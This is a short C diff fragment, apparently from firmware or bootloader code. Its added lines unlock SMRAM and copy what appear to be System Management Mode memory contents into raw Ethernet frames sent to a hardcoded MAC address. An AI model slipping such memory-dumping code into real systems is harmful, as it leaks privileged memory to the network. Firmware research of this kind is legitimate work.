- pci_write16(_bus, _dev, _fn, 0x04, 0x00);
+// if ((c++) % 2)
+// return;
+
+ test[0] = pos >> 8;
+ test[1] = pos & 0xFF;
+ test[2] = base >> 8;
+ test[3] = base & 0xFF;
+
+ smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
+
+ for (i = 4; i < 1024; i++)
+ {
+ test[i] = p[pos++];
+ pos %= 0x8000;
+ }
+ smram_restore_state(old_state);
+ _nic->transmit("\x00\x03\x93\x87\x84\x8C", 0x1337, 1024, test);
+}
+
+int eth_register(struct nic *nic)
+{
+ if (_nic)
+ return -1;
+ _nic = nic;
+ return 0;